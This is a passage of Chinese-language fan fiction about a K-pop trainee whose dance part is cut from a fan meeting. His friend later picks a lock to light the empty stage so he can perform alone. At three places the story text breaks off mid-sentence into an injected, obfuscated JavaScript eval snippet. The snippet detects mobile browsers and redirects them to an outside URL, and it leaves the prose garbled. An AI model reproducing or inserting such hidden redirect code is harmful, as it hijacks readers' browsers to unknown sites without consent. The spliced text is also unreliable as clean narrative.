虽然已经做了大半个学期的朋友,但除了在学校里的交集以外,权李二人从来没有在休课时间主动约好过见面,今天这样提前的约定还是两人相识以来的第一次,其原因则要追溯到前一天午休时,权至龙带着兴奋同李艺率分享,这个周末他们公司里的出道艺人SEVEN要举办线下粉丝见面会,届时他将会以伴舞的身份登上舞台。 对此,李艺率问清楚具体的时间地点后才点了点头,“明天我有空,到时候会去的。” 权至龙:“…………” 见他脸上没有明显喜悦的表情,李艺率挑了挑眉,指着他校服裤口袋边缘微微露出的彩色硬卡纸:“你特意在兜里揣了门票过来,总不至于是专门为了和我分享这个好消息的吧?” 权至龙:“……倒也不是。” 他也说不清在听到李艺率会去现场的那一刻,心中为什么会涌现出一股复杂。 虽说这不是他第一次为公司里的艺人伴舞,但……第一次邀请朋友来看演出,自己却是一个路人到不能再路人的配角任务,难免有些心情微妙底气不足。 况且……虽然李艺率平时不怎么追星,但偶尔也会收看一些舞台演出节目。说他是小气也好,对朋友的占有欲也罢,只要一想到李艺率或许会因此对SEVEN哥的舞台表现产生兴趣,甚至成为他的粉丝,权至龙心里就有些不是滋味。 虽然感觉有点对不起这位经常会请他吃饭的哥哥,但权至龙还是自私地希望,李艺率不要被其他人过多地分走注意力。 权至龙深吸一口气平复心情,继而随便找了个理由:“主要是……明天的主角是SEVEN哥,总感觉以这种方式请朋友来看演出有点逊啊。” “那我不是更应该去了吗?” 闻言,李艺率只是摊开手放到他眼前接过门票,把玩着印着真人照片的硬卡纸,一副理所应当的模样说道:“明天到场的都是SEVEN粉丝的话,对权至龙也太不公平了吧,毕竟他也为了明天的舞台好好准备了很久呢。” 李艺率:“为了舞台努力了很久的小权也值得有人为他认真应援不是吗?虽然明天的主角是SEVEN,但是台下也会有权至龙的粉丝哦。” 权至龙听后,嘴角不自觉地上扬,心里那片小小的、别扭的阴霾瞬间便消散得无影无踪。 “嗯!那作为应援的感谢,等明天演出结束我请你去吃烤肉!” * 果然很吵啊。 李艺率从门口检票的staff手里接过了权至龙打包外带的热饮,又领了工作人员分发的纪念品和一会舞台应援时会使用到的LED电子荧光棒,这才跟着熙熙攘攘的人群往场馆内走去。 这次见面会使用的场馆是一家大型商超楼下的地下演播室。 有些闷热的环境氛围,混杂着女孩们即将见到偶像兴奋地窃窃私语声,让李艺率的头皮隐隐有些作痛,耳边响起了熟悉的蜂鸣。 身为中枢敏化患者的李艺率对声光污染尤其敏感,因此理论上来说,这类环境嘈杂、会与人群产生肢体接触的场合对她的病情来说属于绝对的禁忌,很容易引起诱发性剧痛。 但只要一想到某只小狗在舞台上卖力表演一通却没有得到应有的鼓励,甚至可能当晚躲在被窝里悄悄失落甚至流泪,李艺率觉得……一点点噪音罢了,也不是不能忍受。 啧,所以说小权真的是个很麻烦的家伙啊。 她打开纸杯盖子啜饮一口,又看了一眼牛皮纸袋里的曲奇饼干,犹豫片刻还是慢吞吞地捻起一块咬了一小口。 奶香味很足,咀嚼间能吃得出来用的是很不错的原材料,调味也没有很复杂,算是一款很不错的手作烘焙点心。 但李艺的舌尖味蕾感知到甜味的时候,大脑却并没有触发多巴胺释放。 糖油混合物通过咀嚼咽下,通过咽喉经过食道,最终到达胃部,这种正常人产生愉悦的生理反应于她而言只感到负担,像是能清晰感知到食物在器官内脏的走向,每一次吞咽都是痛苦的叠加。 她轻轻叹了口气,心里盘算着权至龙公司给的并不丰厚的零花钱,忍耐着身体沉默的抗拒,慢吞吞地又捻起一块曲奇。 见面会开了一个多小时,期间SEVEN卖力地表演了几首唱跳曲目,又准备了粉丝上台的互动饭撒。 李艺率听着身边姑娘兴奋的尖叫和应援声,忍受着耳膜的震动和眼前纷杂的灯光,在脑子轻飘飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068734|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地幻痛中,终于将那一小包曲奇吃完。 眼看抽取粉丝上台拍照互动的环节结束,最后一首歌曲的伴奏音乐响起,舞台上还是没有出现某个熟悉的身影。 李艺率:………… 真的会有草台班子到这种地步的经济公司吗?! 随着舞台灯光渐渐暗下,主持人微笑着向全场致谢,台下响起一阵不舍的掌声和欢呼,粉丝们仍意犹未尽地挥舞着应援棒,但很快在现场工作人员的引导下,开始准备有序离场。 “您好,请问这个您要吗?” 李艺率叫住了刚刚坐在她身边,应援很卖力的姑娘,指了指入场前发放的伴手礼品。 “可以吗?” 那名粉丝看上去年纪并不大,听到李艺率的声音愣了一下,随即脸上迸发出了格外惊喜的表情。她手伸到一半又犹豫着问道:“真的送给我吗?” “嗯。” 刚刚这个姑娘嗓子都快喊劈叉了,李艺率坐在旁边耳膜震得嗡嗡响,看得出来很是个狂热粉。 告别了收获意外惊喜的可爱粉丝,她看着已经有序退场的人群,犹豫了一会却仍是停留在了原地。 工作人员开始清理舞台,搬运道具。人群逐渐分散,现场的粉丝们三三两两结伴离开。 有的还在兴奋地讨论着刚刚地活动,有的则是依依不舍地回头望向已经空荡的舞台,场馆的空气中还弥漫着因偶像相聚而生出的温暖感动,在这样盛大的快乐之下,由一个小小的伴舞无法登台而引发的低落大概是无人察觉,也无人在意的吧。 真是个残酷的行业啊,李艺率看着空荡荡的舞台,心里轻叹。 手机震动,李艺率打开信息: [真是抱歉今天没能登台,不过你能为我来到现场就已经让我觉得很开心了。] [因为有急事我要先坐公司的车回去了,总之很抱歉!下次见面再请你去吃烤肉吧^ ^] 明明是自己受到了冷待却还要第一时间和她说抱歉。 啧,这家伙果然是很麻烦。 舞台上的灯光已经隐去,只剩观众席还微弱的亮着,场馆内的喧嚣也跟随着保洁人员打扫的脚步回到了一开始的宁静。 她收好手机,三两步走到保洁旁边,将装着包装纸和纸杯的牛皮纸袋递过去,状似不经意地搭话:“姨母nim,场馆里的消防通道是不是和楼上商场的消防通道联通着的啊?” 得到了肯定的回答,李艺率点头道谢,看着舞美控制室里的工作人员随手关上大门径直离开,看着保洁人员提着垃圾桶扫把,将最后一盏灯关上,这才摸黑顺着舞台后方的待机室走去。 走廊的灯已经被熄灭,周遭显得静悄悄的,她只能借助手机屏幕微弱的光亮摸索方向,努力辨认周围环境。 终于在一干大开着房门的走廊里,找到了那间紧闭着房门的待机室。 她在门外沉默停留许久,看着门下缝隙一片漆黑,最终还是推开了房门。 地下室的房间不透光,只能凭借手机屏幕微弱的反光看见,一个蜷缩在角落的身影因突如其来的动静小小瑟缩了一下。 头顶的白炽灯应声闪烁,骤然降临的白雾让权至龙下意识闭上了眼睛。 直到被白光模糊的视线逐渐聚焦,他看着周围的景象逐渐变回他熟悉的模样,也看见了双手抱臂堂而皇之出现在这里的李艺率。 变成被淋过雨湿漉漉小狗的家伙脸上乱糟糟的,眼睛像是被水洗过,吸着鼻子抬头看向她,沙哑的声音还拖着软弱的尾音,听上去一副受气包的模样—— “你还没走吗?” 13. 沉默月光 不算短的相处时间让权至龙明白,李艺率是个听不懂拒绝的人。 不,不对,这样说并不恰当,严格来说,她不理解的是东亚人特有的婉拒和含蓄的暗示。大概是从小生活在一个以严谨的刻板印象著称国家的缘故,她在人际交往中更倾向于用是与否这样清晰的边界来判断,就比如现在—— 权至龙缩在房间角落,倚靠着沙发抬头看向她,嘴里说着肯恰那我很好,身体却呈现出蜷缩着自我防御的姿态。 按照正常交友逻辑,李艺率应当要察觉这样细微的矛盾信号并体贴地给予权至龙整理情绪的空间和时间。 但她却只是径直走到他身边的沙发坐下,直视着那双湿漉漉的眼睛,“真的没事吗?” 权至龙抿着唇点了点头,又僵硬地露出了与平常无异的微笑:“呀,你把我想得也太脆弱了吧,这种事情我又不是第一次经历了。” “是吗?”她沉思片刻,像是在努力从他的脸上分辨情绪,“可是你的心情看上去好像很糟糕。” 李艺率靠在沙发扶手上,撑着下巴打量他。 那双本该让人感到温暖的暖棕色瞳孔却淡得没有波动,只是在光晕之下直白透彻地映射出无端的疏冷。 像一面最真实的镜子,好叫权至龙仔仔细细地看清当下的狼狈。 李艺率:“如果你现在想要一点独处的时间来消化情绪的话,我会尊重你的选择——只要你确定这样做会对你的帮助更大。” 权至龙:“…………” 她没有开口询问——那些从他眼底流淌而出的,由期待到失落,最终沉淀为被世界遗弃般的巨大落差;她也没有说出那些他早已听倦的、重复的安慰。 她只是站在那里,以一种近乎透明的平静,置身事外的冷静姿态,站在足够远却仍能被看见的地方,像一盏悬在夜雾中的灯,这样安静又清晰地照耀着。那光芒并不刺眼,只是恒久地存在着,仿佛只要他轻轻说一句我不需要你,便会顺从地隐入黑暗,任由他的情绪将一切吞没。 就像所有对月亮的形容,都比月亮本身庸碌;用尽诗人华丽的辞藻,也不过是借来的光辉—— 只有那一双眼睛,是唯一使它暗淡的湖水。 他下意识想要避开那双澄澈至极的眼睛,却又不由自主地被那目光牵引,只能倍感焦虑地用手指抠弄指甲。 嘴巴化作两片沉默的封印,眼睛变成了湿漉漉的,不会开口的小狗,只一味颤抖着发出无声的呜咽。 他不该软弱的。 起码不应该在她面前这样软弱的,他想。 可身体却听话的背叛了意志,紧绷的防线在无声中瓦解。 他接过她从包里掏出来的湿巾,在她的指挥下乖乖擦去脸上的残妆,又被她带领着,以一种极为顺从的姿态,小心翼翼摸索着走出黑暗的走廊,离开那片承载着他一下午情绪跌宕,如今徒留一片寂静的演出会场。 * 店里一片烟火缭绕,脂肪接触高温后滋滋作响,烟雾混合着食材成熟的香气弥漫,将两人的脸熏得滚烫。 权至龙沉默地翻动着烤肉,见李艺率无知无觉地捧着麦茶慢慢啜饮,抿了抿唇,好半晌才从喉咙里憋出一句干哑的声音,“你不问问我发生了什么事吗?” 李艺率拖长了尾音:“可是你看上去好像不太想说哎。” 说着,她放下茶杯,支着下巴专注看他翻动的动作,嘴里漫不经心道:“每个人都有不想说的事情,我的控制欲也没有强到必须让朋友时刻分享自己的心情感受。如果你觉得自己能处理好,不希望把软弱的一面展现给别人看,这一点我也很能理解啦。” 虽然听上去像是个一本正经的解释,可说到底不就是嫌麻烦吗?权至龙嗤笑一声,倒是打消了几分沉默的欲望,“那怎么还非要拖着我来吃饭?” “哦,听说这个年纪的男孩子都是饭桶啊,天大的事情吃一顿应该都能解决吧。” 权至龙:“…………” 他倒也不至于这么没心没肺吧! 看着李艺率拿着筷子尖好奇地戳了一坨蘸碟里的调料往嘴里送,还没来得及出声提醒就毫不意外收获一张被皱着脸有被咸到的表情,只能无奈地往她的杯子里蓄满茶水。 事实证明,只要人学会操心,就会有操不完的心。 权至龙熟练地把烤肉剪成小块,把生菜的硬梗去掉,在脆嫩的叶片上铺上烤好的肉片。按照李艺率的忌口,传统韩式烤肉佐餐的蒜片辣椒圈泡菜她都吃不了,甚至连调味品也备受冷落,只好放了两瓣她喜欢的蘑菇作为丰富口感的来源,这才卷成菜包递到她眼前。 看着她嘴巴鼓鼓囊囊地咀嚼,权至龙的心情忽然莫名地好上几分,不紧不慢地跟着给自己也卷了一个。 权至龙:“要不要试试紫苏叶的?” 李艺率含糊点头。 权至龙:“哎一古,吃得很乖呢,是第一次吃紫苏叶吗,怎么是这种表情?” 李艺率:“嗯,第一次吃。有股怪味,不喜欢。” 权至龙:“…………” 真的是吃饭很难伺候的一位啊! 不过脸上虽然很嫌弃,但李艺率还是乖乖吃完了。日常戴着比身高还要厚的滤镜的权至龙本人选择了溺爱,并动作利索地帮她打好第三个菜包。 人在做某项重复性的动作时,焦躁的心情会得到适当缓解。饭程过半,化身为全场最忙碌员工的权至龙也渐渐在烟火缭绕的氛围中打开了话匣子。 权至龙:“也不是什么大事……说起来也只能怪我自己做得不够好……” 李艺率:“哦,那具体说说。” 权至龙:“其实今天这场伴舞应该不是我,而是永裴……永裴你还记得吗?就是上次在路上捡到你东西的那个人。”见李艺率点头,他接着说道,“虽然我和永裴关系不错,也有想过要一起做hiphop组合出道,但是毕竟是同期的练习生,我们之间其实是有相互竞争关系的。永裴他……在舞蹈方面要比我更优秀一些……” 李艺率:“稍微打断一下,你说‘本来这个机会属于永裴’的意思是指——你是通过不公正的竞争手段得到的这次伴舞工作吗?” 说着,她格外微妙地看向权至龙。 权至龙:“………………” 权至龙:“怎么可能!你想到哪里去了啊?!我是自己偷偷加练了好久才得到这个机会的!” 李艺率:“…………啊,抱歉,请继续。” 权至龙:“但就算这次点名让我去伴舞,锡硕哥,也就是我们公司的社长,他看上去好像还是不太满意,私下里跟我说了好几次,这个机会还是该留给永裴的……我其实………”像是提及了什么羞于启齿的事情,他说得磕磕绊绊的,“被这么说肯定会觉得很不甘心,我本来打算好好表现让锡硕哥没有后悔选我的……但是——” 他顿了顿,抿了一口茶水,沉默停留了好半晌才又轻飘飘地开口,“但是今天因为场地调度的关系,开场时间被压缩了不少,我的部分就被砍掉了。”说着,他仿佛在掩饰尴尬,又似乎是在安慰自己一般,笑着道,“当时我打电话给锡硕哥,他说,如果我能够表现出完整成熟的舞台水平,那我负责的part肯定就会放在前面,不会被砍掉了……可能还是我做得不够好吧。” 当人在向另一个人倾诉内心,并将事情一一细数并将责任归咎于自身时,那么这件事有很大概率上是无法被倾诉者本人轻飘飘化解的。 更矛盾的地方在于,明明是自我剖析,但倾诉者本质上仍是在寻求价值认同,仿佛只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068735|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要一句浅浅的肯定就能完成自我拯救一般。 但李艺率不打算轻飘飘地说些下次还会有机会,或者相信你一定可以练的更好这样听起来真诚实则非常肤浅的安慰。她放下茶杯,眼神复杂地再次抛出第一次见面时就令她倍感不解的矛盾点:“你一直都是这样的吗?” 预期的安慰没有如约而至,让权至龙愣了一下:“……什么?” “第一次见面的时候,我抢占了你的地盘,但是你一点都不为自身利益反抗,反而把问题的矛盾归结于这是理所应当的,因为是‘你自己没有资格拥有这里。’”李艺率细数着两人第一次会面时的场景,言语中仿佛仍是无法对权至龙产生共情,“这次也是一样,明明是你们社长选择了你,明明你也为这件事悄悄努力了很久,明明是工作人员的失误才导致你的舞台部分被砍掉,甚至你的工作仅仅是负责两首歌的伴舞——我是怎么也想不明白,在这些前置条件之下你是怎么推导出这个‘是我做得不够好’的结论的?” 权至龙:“…………” 见他沉默良久,李艺率摩挲着茶杯的边缘,顺势说出自己的看法,“你知道你现在给我的感觉像什么吗?像是一个长期遭受家庭暴力的小孩,但偏偏还是十分天真地抱有‘如果我再乖一点爸爸是不是就不会再打我了’这种可怜的幻想。” “可是犯错的明明是施暴者不是吗?” 权至龙:“………………” 她懂什么,他想。 当了九年最底层的练习生,他像是一株被踩进泥里的野草。每天在公司里做的尽是些跑腿的杂活,吃着已经出道艺人们的剩饭,连一间属于自己的练习室都没有。这八年来权至龙的脊背仿佛被动完成了驯化,早已弯成一道谦卑的弧线,眼睛习惯了地板的纹路,弯腰鞠躬的次数比走过的路还要多。 自己这株卑微的枝桠,这样蜷缩着生长的痛楚,这样软弱呼吸着的姿态,像李艺率这样含着金汤匙出生的大小姐,恐怕是连想象的机会都没有。 可是为什么,即便是早就学会了这样谦卑的温顺,也早已习惯被这样对待,他还是会在这一刻觉得不甘心呢? 就算闭上嘴巴,还是会有委屈的眼泪从眼睛里跑出来;就算捂住耳朵,心底愤愤的呐喊依旧清晰可闻。 在此刻被这样一种近乎残酷的态度戳穿了他自欺欺人的软弱,却叫权至龙莫名从中尝到了某种近乎救赎的滋味——就像在漫长的黑夜里,被人撕开了一道口子,有人透过微亮的光线,在他耳边发出如同赦免的声音。 “这并不是你的错。” “这些难过和不公平,本就不是你应得的。” * 这顿饭的后半程,权至龙没有再说些什么,只是漫长又沉默地咀嚼着。 走出餐馆,室外的冷空气袭来,吹散满身的烟火味,仿佛也吹平了心头湿润的褶皱。 他看了一眼时间,正打算问问李艺率一会怎么回家,却见她忽然长久地叹了一口气。 李艺率:“不行,如果就这样算了的话,会让我觉得很在意。” 权至龙:“……?” 她停在原地思考片刻,随即也没去管权至龙的反应,只是转身径自朝着商场的方向跑去。好一会才回头看向愣在原地的权至龙,冲他喊道,“愣着干嘛?快点!” 权至龙:“………………” 这是要去干嘛?尽管脑子一头雾水,但权至龙的身体还是选择诚实地小跑着跟上她。 * “喂,不好吧……这里有监控的。” “…………” “呀!李艺率!你这是要干嘛?这都是从哪学会的?!” “嘘——!小声点,难道这是什么很光彩的事情吗?!” “………………” 14. GoodDay 把时间拨回二十分钟以前。 扔下一句“不能就这样算了”的李艺率,头也不回地往商场方向跑去,目的地直奔家用工具区域。 权至龙跟着她穿越熙熙攘攘的人群,眼见她径直走向货架,带着极为明确的目的性,毫不犹豫地挑好了想要的商品,随即丢给权至龙一个跟上的眼神,又风风火火的冲向生活用品区。 从进入商场到结账离开收银台,整个过程不超过十分钟。 权至龙满头雾水地跟在她身后,看着她随手将购物小票和包装袋丢进垃圾桶,心中愈发疑惑,“你买这些干嘛?” 李艺率:“你跟我去一个地方。” 避开人流,李艺率目标明确,没有走灯火通明的主通道,闪身就拐进了旁边毫不起眼的消防安全通道。 门轴转动发出低沉的呻吟,厚重的防火门在身后“咔哒”一声闷响合拢。 通道里光线昏暗,深处一片寂静,只有头顶绿色的“安全出口”指示牌幽幽发光,狭长的通道笔直向下延伸。 墙壁是斑驳的灰绿色,头顶仅有的几盏应急灯投下惨淡的光晕,将两人的影子拉得细长扭曲,空气里弥漫着灰尘和混凝土的冷冽气息。 权至龙:“…………” 这怎么一句话不说就带着他开启探险模式了啊?! 李艺率的脚步又快又轻,时不时抬头看向头顶的指示灯,脚步声在空旷的通道里敲出清脆却急促的回响。 李艺率:“快到了。” 权至龙:“……所以说要去哪里,你倒是别忘记先解释一下啊!” 李艺率停下脚步,回过头对权至龙神秘一笑:“根据场所安全经营法规定,像大型商场、电影院、演播厅等人群密集场所的消防通道需要始终保持开放状态。” 她停在一扇厚重的防火门前,轻轻一推,门应声而开,眼前是一片浓得化不开的、近乎实体的黑暗。 “我之前问过保洁姨母,确认了地下演播厅和楼上商场的消防通道是相互连通的。也就是说——” 说着,李艺率一只手扶着防火门,另一只手则轻轻对权至龙摊开,做了一个邀请的动作:“现在,你是这里的主角。” “不是依附于任何人的配角,也不是什么无关紧要的伴舞工作,这是完完全全,只属于权至龙一个人的舞台。” 权至龙愣在原地,一时间忘记了回应,只是乖顺安静地被李艺率拉着手腕走入黑暗中。 脚下的触感瞬间从通道的坚硬水泥变成了厚实的吸音地毯,每一步都像踩在云端,悄无声息地陷落。 他的心如擂鼓,复杂的情绪紧接着汹涌而至,无数个念头在他脑中炸开,是错愕,是茫然,有混乱,也有难以置信。 一个半小时前,他像个失败者一样狼狈离开,现在却又被带回了原点,而这一切,仅仅是因为有人看穿了他极力想要掩饰的不甘。于是以一种近乎“绑架”的姿态挟持了他,于是自顾自开启这场荒唐的“冒险”,于是理直气壮的发出天真宣告—— 他不是舞台上的边角料,他不是衬托某人的调味品,他值得拥有主角的待遇…… 他可以成为主角。 * “啪。” 刚刚在超市买的手电筒亮起,光束穿透黑暗,在地上投下一个圆圆的光点,随着李艺率的移动而跳跃,四周的黑暗也在光斑的逼迫下退却。 权至龙被她拉着手腕穿过场馆两侧狭长的楼梯,好半天才找回自己的声音,迟疑道:“……不太好吧,这里有监控的。” 李艺率则是理直气壮:“只是借用一下而已,有什么关系啊。” 权至龙:“…………” 说真的,这到底是什么品种的熊孩子啊! 两人在楼梯最上方尽头一扇标注着“非工作人员禁止入内”标识的工作间前停下,手电筒的光束划过墙面,除了勉强起到照明作用还附赠了氛围渲染效果,黑沉沉且静谧的空间显得气氛格外阴森,像是惊悚电影里的过渡镜头。 锁孔透着金属的冷光,李艺率捻着刚从超市里买的黑色一字夹,弯折几下,插入锁孔。 站在一旁被吩咐拿好手电筒照明的权至龙看着弯着腰猫在狭小过道里撬锁,一副偷感十足模样的李艺率:“…………” “呀!李艺率!你这是从哪里学会的这些?!” 李艺率:“嘘——轻点声!这又不是什么很光彩的事情!” 权至龙额角青筋直跳:“…………”这又何止是不光彩啊?! 李艺率:“我们只是稍微借用一下,又没破坏设施,等一会用完了我会原封不动锁回去的。” 权至龙:“哦,真是个好解释,一会在警局也记得要这么说。” 李艺率轻笑,眼中闪过一丝狡黠:“放心吧,我家很有钱,我爸爸不会让我坐牢的。” 权至龙:“…………” 伯父大人,别溺爱了!倒是好好看看你教出来的好女儿吧!! * 锁芯发出轻微却清晰的咬合声。 咔哒—— 工作间的门无声地向内滑开,一股更冷的、带着电子设备特有气息的空气涌出,隐约还能听见设备运行时的微弱嗡鸣。 李艺率将发夹随手塞进兜里,又从权至龙手里接过手电筒,在控制台摸索一番,手指顺着标注的英文字符干脆利落地拍响了几个醒目的按钮。 啪啪—— 舞台上的舞美灯光亮起,数十道凌厉而璀璨的光束,毫无预兆地从演播室高耸的天花板上轰然劈落。 透过舞美控制室的玻璃,权至龙目睹了整个舞台瞬间被点亮的过程。 纯白的,冷冽的,带着金属质感的强光瞬间撕裂了场馆内浓稠的黑暗,粗暴却又无比精准地砸在舞台中央。 光影交错间,仿佛将整个地下空间都照得纤毫毕现,空气中悬浮的微尘在光柱中狂舞。 他的身体下意识一颤,瞳孔在强光刺激下骤然收缩成针尖大小,动作飞快抬起掌心遮挡眼睛,在短暂的适应后,他看向了身边那个叉着腰,脸上还挂着得意笑容的李艺率。 似乎是察觉到了他的目光,李艺率转过头,仿佛完成了一次不得了的壮举,双手摊开做出了骄傲的成果展示,“看吧,大明星,这是我为你准备的舞台!” 权至龙没有说话,只是喉结滚动,一眼不错地,近乎贪婪地捕捉着那个因兴奋而微微泛红灿烂到极点的笑容。 * 权至龙站在舞台边缘,看着已经迅速找好最佳观演位置的李艺率,心情仍是十分复杂。 李艺率下午观摩了一场完整的粉丝见面会,场间听完了训练有素的应援,俨然是一副对饭圈应援文化小有自信的模样。 之前见面会送的手持荧光棒早就被她连同伴手礼送给了邻座的狂热粉丝,于是只能举着刚刚的主要作案工具手电筒当临时道具,开着灯光模仿挥舞应援的节奏。手电筒的光束在空中划出弧线,她在台下兴奋地喊着他的名字,仿佛是最掷地有声的宣言,一个人便喊出了千军万马的气势—— “权至龙!权至龙!权至龙!” “…………” 权至龙捂脸,倒也不用这么快就代入角色吧。 尽管很有些难为情,但一种难以言喻混杂着汹涌澎湃力量感的滚烫洪流涌上心头,冲垮了他所有残余的犹豫和自怜。 他三步并作两步跳上舞台,迎着那束将他完全笼罩的顶光,向前踏出了一步。 光柱之下,空气中的微尘如金粉般在他周身飞舞。 “哇啊啊————!欧巴——!欧巴好帅啊啊啊啊——!” 看着他走上舞台中央,李艺率心中也莫名生出了些追星女孩的欣喜,她回忆着邻座姑娘的姿态,掐着嗓子模仿激动的声调,声音在空旷的场馆内回荡,仿佛真的带动了无数隐形的观众一同欢呼。 她的身影被舞台边缘的逆光勾勒出一个纤细的剪影,兴奋地站在台下蹦蹦跳跳,挥舞着手电筒,俨然一副狂热粉丝的模样。手电筒那点昏黄的光芒,在舞台中央犹如白昼的冷峻光海面前,显得那样渺小而微不足道,却又那样无法忽视。 没有前奏的提示,没有鼓点的牵引。 权至龙缓缓闭上眼,深吸一口气,起势并非爆发,而是极致的静止之后的缓慢流淌。 他嘴里打着节拍,微微垂着头,颈项的线条在强光下绷紧,像一张拉满的弓,肩膀以一种几乎难以察觉的幅度下沉,脊椎随之拉出一道隐忍而优美的弧线。 紧接着,那压抑的弧线猛地弹起。 整个人如同一道挣脱了束缚的闪电,骤然撕裂了凝固的光幕,一个干净利落的原地大跳,滞空感被顶光无限拉长,只有光束中狂舞的尘埃为之震颤。 没有歌词,他就回忆着音符的曲线轻声哼唱;没有伴奏,肢体本身变成了最磅礴的乐章。 光线勾勒出他身体的每一道棱角,忠实地追随着他。 当他跃起,光便将他托举;当他躬身,光便轻抚于他;当他旋转,光便围在他周身流淌成银色的星屑。 只有一个人的潦草舞台,只有一名观众的孤独观演,甚至是闹剧一般的开场氛围,却在光与影交织的此刻被赋予了特殊的意义。 灯光、柔韧的肢体动作和少年脸上肆意的笑容,交错成一道耀眼的轨迹,将舞台与观众席分割成明暗两极。 真的会有人像太阳一样耀眼吗? 看着被光线勾勒出卫衣边缘的金色轮廓,带着强烈冲击力和气场,完全沉浸在舞台中的权至龙,李艺率眨着有些酸涩的眼睛如是感叹,他果然是很适合舞台啊。 * 几曲热舞结束,权至龙又在李艺率兴奋的捧场声中加演了即兴b-box和说唱,一套流程下来额角已经渗出了细密的汗珠,显然是累得够呛。 李艺率犹在起哄:“欧巴!我这里有手帕!!” 说着就从斜挎着的小包里掏出折叠好的手帕扔到了舞台上,嘴里还不忘提醒,“收下我的手帕就等于是收下我的心了哦!” “呀!你真的够了啊!” 究竟是把自己代入到哪个角色里去了啊? 看着手帕上熟悉的logo,权至龙嘴角微抽,他宿舍里还有一条洗干净的手帕没能还出去,怎么又来一条啊。 权至龙擦干汗水稍微整理了一下便作势要下台,却在中途被李艺率叫停了脚步。 李艺率:“不可以现在就走啊!粉丝互动环节还没做呢!!” 权至龙:“……倒也没必要还原到这种程度吧?!” 这家伙真的很麻烦哎! 虽然嘴上是这样抱怨着,但他的脸上笑出了无奈的小括弧,眼睛也亮晶晶的,显然一副很是受用的模样。 李艺率才不管权至龙的嘴上抱怨,她关掉手电筒,以握住话筒的姿势拿在胸前,像是个尽职尽责的主持人:“哟罗本,接下来我们将随机抽取一位幸运观众上台与今天的嘉宾进行现场互动,权至龙xi,就由你亲自来揭晓是哪位在场的幸运儿吧!” 说完,她放下‘话筒’又蹦蹦跳跳地举起手,将一人饰两角的戏份拿捏地恰到好处,“我!我!欧巴,选我——!” 权至龙:“…………” 除了你还会有谁啊?! 尽管如此,他也没有扫兴,配合着她的表演欲做出一副深思的表情,手指犹豫地划过她所在的位置,几番举棋不定后最终顺势指向她:“那位穿浅米色外套的粉丝,请上台来吧。” “真的?我吗?!”她指着自己,满脸不可思议,随即像是被惊喜砸中,捏着拳头做了一个狂喜的庆祝动作,迈着愉快的碎步小跑着走上舞台。 权至龙:“…………” 这都是哪学的?还有你未免入戏太深了吧! 她跑上舞台站定,带着亮晶晶的笑容看向已经悄悄蜷缩起脚趾的权至龙,如同初次近距离接触偶像一般,带着窃喜生疏而又拘谨的鞠了一躬。 面对李艺率突如其来的礼数,权至龙也下意识跟着弯腰,回礼后尴尬地直起身,两人四目相对,面面相觑。 权至龙:“…………” 李艺率:“…………” 权至龙:“……呀!你倒是说点什么啊!” 李艺率:“这种时候不应该是身为主角的你来做开场吗?” 她叉着腰理直气壮:“身为初次与偶像近距离接触的粉丝,我可是非常拘谨的,这个时候当然需要由你来负责照顾我的情绪!” 权至龙:“……真是没看出你哪里有一点拘谨的样子啊。” 他无奈感叹生平第一次‘粉丝见面会’居然是在这样荒唐的场合下完成的,心里一时也说不清究竟是愉快,还是微妙的感觉更多一些。 只好清了清嗓子,回忆着在后台见到的、为数不多的经验,放缓语气露出笑容:“刚刚的表演看得还开心吗?” “内——”李艺率拖长了尾音,笑眯眯地答到“欧巴做得很好呢,非常帅气!” 权至龙被她乖顺的反应哄得几乎笑弯了眉眼,唇角的小括弧弯起可爱的弧线,“真的非常感谢你今天的到来,这一切对我来说真的是非常大的鼓励。” 他说出这句话的时候语气轻柔,像是发自内心的郑重宣告一般。 这样荒唐的场合,这样儿戏一般的见面会,这样孩子气的‘弥补方式’,仅仅只是完成一个微不足道的遗憾,叫权至龙无端生出了几分动容。 李艺率:“……好像有点沉重,我觉得偶像和粉丝之间还是不要给彼此赋予这么深刻的意义了吧,欧巴。” “………………” 权至龙闻言一秒收回感动,真是一个让人牙龈发痒的坏家伙! * 偶像见面会除了固定的问候、握手和拍照等环节外,时常也会有粉丝亲手准备应援礼物赠送。李艺率回想着随身携带的小包里好像没有什么值得赠送的物品,手帕已经在刚刚被扔上了舞台,总不至于叫小权掏出来重新走一遍流程。 于是再多的深思熟虑都不如天才灵机一动。 李艺率直接拉过权至龙的手,将今晚发挥出最大作用的物品往他手里一塞,充当应援礼物充分榨干它最后的价值。 李艺率:“欧巴,这是我提前准备的礼物,送给你。希望你能每天使用它,每次看到它的时候都可以很开心。” 被顺手塞了手电筒无措地站在原地的权至龙:“………………” 哪家艺人的粉丝会拿手电筒当应援礼物?还有,正常人谁会每天使用手电筒啊?!这种礼物哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 